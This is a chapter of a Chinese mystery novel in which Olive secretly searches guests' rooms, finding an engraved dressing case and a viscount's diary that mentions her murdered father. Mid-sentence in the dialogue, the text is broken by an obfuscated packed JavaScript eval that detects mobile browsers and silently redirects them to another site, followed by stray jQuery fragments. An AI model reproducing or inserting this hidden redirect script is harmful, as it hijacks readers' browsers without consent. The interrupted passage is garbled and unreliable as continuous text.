18. 爱的赠言

作品:《奥丽芙与伯爵大盗

    不过,定神再看,匣子一角镶嵌的珐琅彩纹章和丢失的那只不一样。眼前这个,可不是“中世纪受封”的假伯爵的拙劣徽章,而是范德梅尔的家族纹章。


    纹章奥丽芙已见过了,不用再多端详,它的样子不复杂:红底,带金色缘饰,正中一道金色垂直条纹,条纹上有一只黑色的锚形图案。


    奥丽芙眼睛凑近徽章周围仔细看,又用手摸了摸。略微凸起的纹章和木头贴合得很平整,周围也没有划痕,看不出撬掉旧徽章,再镶嵌一枚新的上去的痕迹。


    奥丽芙想了想,觉得不能认为这只匣子是被偷走的那一只。一来,这种样式的梳妆匣可能比较流行,毕竟,其美观性和实用性都不差,那么,天南地北的两个人恰好选了同样的东西,能说过去,虽然的确是个不小的巧合;二来,范德梅尔不像缺几镑钱的样子,不至于把一件盗走的赃物据为己有,而且,他明明心虚,怕让人发现,怎么敢明目张胆地拿出来使用?


    唯有一点不太对劲——梳妆匣是很明显的女式样式。


    不过再一想,很多时髦的花花公子都喜欢精致、花里胡哨的小物件,用女式梳妆匣,也不算特别奇怪。


    不能再浪费时间了,奥丽芙把匣子打开看里面:袖扣、领夹、怀表、手持圆镜……金的、银的、镶珠嵌宝的……无非就是那些东西。上面要么刻着范德梅尔的姓名缩写,要么没有刻印,反正,找不到蜜蜂图案。


    奥丽芙知道这种匣子上有个隐藏隔层,她扳动开关,隔层弹出来了,只有一个很小的小盒子在里面,盛着药膏或是香膏之类的东西。不过,奥丽芙发现匣子木质的隔板上刻着几个字:


    Lovealways.


    S.


    字显然是买回匣子后自己刻的,刻得不大好,但能看出来很用心,每条刻线都粗细均匀,边缘也打磨平滑了。


    这就是范德梅尔使用女式梳妆匣的原因——某个女人把自己的梳妆匣送给了他。不是伊迪丝,是一个名字首字母为S的女士。


    纹章不知是范德梅尔自己加上去的,还是S女士费心为他装好,无论哪样,都能看出这是一件郑重的礼物。


    还是那句话,范德梅尔不是买不起一只新梳妆匣的人,如果他依然使用某个女人送的梳妆匣,显然对对方还有情意,说不定两人还在暗中往来。


    是啊,梳妆匣是每天都用眼睛看到、都用手触摸的东西,别说还有一笔一笔刻下的字,这可不是一般的情意。如果对方是未婚小姐,奥丽芙相信,她与范德梅尔至少也是私下里订过婚约。如果对方已婚呢?——不管怎样,范德梅尔没有资格追求伊迪丝。


    不过,这种事可以以后另寻办法调查,当务之急是探明谁和父亲遇害有关联。奥丽芙放好梳妆匣,赶忙去把范德梅尔的旅行箱检查一遍。


    范德梅尔带来的衣服差不多和Z伯爵一样多,还额外多了两顶帽子,因此,他有一大一小两只旅行箱,都放在窗户下。


    这几间屋子的窗户对着后院,奥丽芙特别注意不要站在窗前,以防她的影子被外面的人看到。检查完范德梅尔的行李箱,站起身时,她向窗外瞄了一眼,发现范德梅尔、伊迪丝、默顿兄妹……总之,一起散步的全部那伙人,正走在高地下行的小径上,向大宅的方向走来。


    他们怎么这么早就回来了?从一行人目标明确、毫不迟疑的步子看,他们的确打算回宅子。等他们穿过院落,最多还有不到十分钟——还来得及再探探第三间屋子。


    必须看看德·雷斯托的房间,不然这回就真是白费一场工夫,几乎一无所获。


    转瞬间,奥丽芙已经站在德·雷斯托的屋子当中。一瞥之下就能看出,子爵比另两位生活简朴:他的旅行箱更小,放在外面的一双靴子也已经半旧了。


    奥丽芙没有改变顺序,还是先检查桌子。她注意到,这回写字台的抽屉没有插钥匙,不过,她很快看见钥匙就放在桌上的文具匣中。奥丽芙拿钥匙把抽屉打开,里面放着一个牛皮面笔记本。


    翻开本子,她差点激动地叫起来,这是德·雷斯托的日记!


    而且它挺厚,翻到第一页,上面的日期是今年一月一日。奥丽芙深吸一口气,准确地翻到日记本最新的地方。


    最近一则日记应该写于昨晚。德·雷斯托用不超过十句话记录了来威克菲尔德庄园作客一事,包括天气、路途所花时间、所有客人姓名,中午的野餐和晚上的宴席情况。其中,奥丽芙是“布莱克小姐”,而库珀小姐用C小姐代替。


    德·雷斯托是法国人,日记全是用法语写的,不过,这正好是除英语和匈牙利语外,奥丽芙最熟悉的一种语言。她从后向前翻,匆匆扫完了十多篇日记。


    她发现,有“C小姐”出现时,德·雷斯托会多写几句,但总的来说,每一篇日记都简短、精炼,篇幅在两三行到半页之间,只记录事件,通篇是客观描述,毫不涉及记述人的内心。尽管如此,奥丽芙还是感到愧疚,她一点不想刺探德·雷斯托的生活,之所以读这么多篇,是为了验证一下他的日记是否忠实于事实。


    她能记得的最近发生的几件事,时间、人物都和德·雷斯托记录相符。假如这时候奥丽芙有心思琢磨文笔,她会因日记的精准记述和简练文风而毫不犹豫将其奉为优秀日记的典范。


    不过,德·雷斯托的风格始终如一吗?他会不会在某天忽然“失手”,遗漏掉关键信息?奥丽芙手指颤抖,翻到二月二十四日。谢天谢地,那天确实有记录,内容如下:赴威尔卡特府上吃晚饭,在座共六人,威尔卡特一家,我和母亲,詹姆斯牧师。牧师称赞四道菜都很美味。一个星期后,提醒妈妈安排回请。


    向后翻一页,二月二十五日,记的是:从报纸获悉费克特先生晚间散步时受袭身亡。天哪,真令人震惊,太让人伤心了,前两天刚刚见过费克特先生!他的女儿怎么办?希望她能勇敢。


    这大概是德·雷斯托在日记中感情流露最多的一次。奥丽芙呆愣了一会儿,又往前翻两页,在二月二十二日,德·雷斯托写道:历史学家费克特先生来访,从没见过这么聪明而又谦虚的人,很有学者风度。


    泪水涌上奥丽芙的眼睛,她用手擦擦,向窗外一看,突然发觉不对,院落里空无一人。


    糟糕,光顾看日记,忘了时间,他们说不定都进来好久了。奥丽芙把日记本放进抽屉,锁好,钥匙放回原位,像兔子一样踮脚跳出了门。


    还好,走廊里不见人影,但随即,奥丽芙听见楼梯上传来几位先生的说话声音。


    这间屋子就在楼梯边上,只要跨两步,跑到楼梯南面,转个身,就可以假装刚从自己的房间出来,准备下楼。可是,奥丽芙一探头,看见三个身影已经站在倒数第二段楼梯最上面几阶,他们马上一转弯,就能发现她惊慌失措从北边走廊冲出来——那就糟了。


    还不如赶紧想个借口,奥丽芙缩回身子,脑子正飞转,听见Z伯爵说:“时间还早,回屋里有什么意思,不如去瞧瞧默顿小姐和库珀小姐那儿还有什么需要帮忙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946459|192595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的?”


    范德梅尔好像没意见,但德·雷斯托不赞同,说:“有默顿小姐就够了,大家都围过去反而帮不了忙。”趁他们立住脚犹豫的几秒工夫,奥丽芙已经跑到自己的房间门口。他们一直在说话,大约没听见她的脚步,奥丽芙扭头看几人还没上到走廊,便开门进去,留一道小缝,趴在门后偷听。


    脚步和话音很快在北面消失,走廊里又变得静悄悄的。等了一会儿,没听见谁冲出来喊叫:“刚才有人来过我的房间!”


    奥丽芙的心这才放回去,但她的心绪是怎么也不可能完全平静!


    终于,终于看到了父亲在世最后几日的一些片段。父亲和德·雷斯托见过面,父亲肯定发现了子爵的头衔“有诈”,但他当时没说破;他应当挺喜欢德·雷斯托先生,因为父亲很少对刚认识的人谈论自己的家事,但德·雷斯托知道,父亲在世的亲人只有一个女儿。


    当然,德·雷斯托完全有可能编造这一切,但奥丽芙选择相信他。


    她不认为德·雷斯托会在日记中撒谎——如果德·雷斯托杀了父亲,他可以只字不提,或者干脆“偷懒”,当天不写日记;要不然,他专等着“勇敢的女儿”来查看,也可以把日记写得更“有血有肉”。不,他一贯的克制,和偶尔一次爆发出的震惊和叹息,完全像是真的。


    德·雷斯托没撒谎。


    如果还有最后一丝怀疑,只要打听到威尔卡特家在哪儿,二月二十四日那顿晚饭是几个人吃,吃到几点,就行了。


    现在,姑且可以认为,百分之九十的嫌疑都集中在范德梅尔和Z伯爵两个人身上。


    可是,父亲像讲童话故事一般讲述Zachariasen家族的历史,显然,这是一个他很喜欢的家族。他在话语中还对家族的第十九代继承人寄予了厚望。是不是见到Z伯爵,父亲发现长大了的金发男孩不但没有重现家族辉煌,反而游手好闲,安心地做个纨绔,感到失望?


    而Z伯爵察觉到父亲的失望情绪,以为父亲会在库珀先生面前说坏话,对他不利,所以杀了父亲?


    奥丽芙打了个寒噤。Z伯爵是个纨绔,可并不是疯子。


    再看范德梅尔。他的身世似乎也没有问题,如果他行凶,动机又能是什么?


    范德梅尔的私人物品和在Z伯爵房间中见到的一样,除了显示其所有者生活奢靡、贪图逸乐外,再说明不了其它。不过,梳妆匣里的刻字勾起了奥丽芙几分好奇:那个女人“S”,会不会知道些东西?——在方便的时候,得想办法搞清楚。


    在屋内待了一会儿,奥丽芙认为从自己脸上看不出激动了,便下楼去大厅。刚才听男士们对话,伊迪丝似乎碰上了一些小麻烦。


    伊迪丝和默顿小姐、凯里小姐正坐在大厅旁的一间小餐室中,原来他们提前结束散步的缘由是:经过一片开得很美的野花时,伊迪丝想要摘几朵,被蜜蜂蜇伤了手。


    庄园的女仆对付这类事很有经验,毒刺被挑了出来,伤口用盐水清洗并用手帕包住,伊迪丝将“很快就感觉不到疼了”。


    不多久,几位男士都下楼来,大家又一起坐下喝茶。小默顿询问伊迪丝时,她回答:“只有一点点疼。”


    默顿小姐有些惊讶:“刚才那只蜜蜂的毒性一定很强。”她坚持要再看看伤处,伊迪丝解开手帕,果然,那里仍然发红发肿。


    几个人脸上都露出担忧的神色,范德梅尔却不慌不忙,对旁边女仆说:“请到我的房间,把桌上那只梳妆匣抱来。”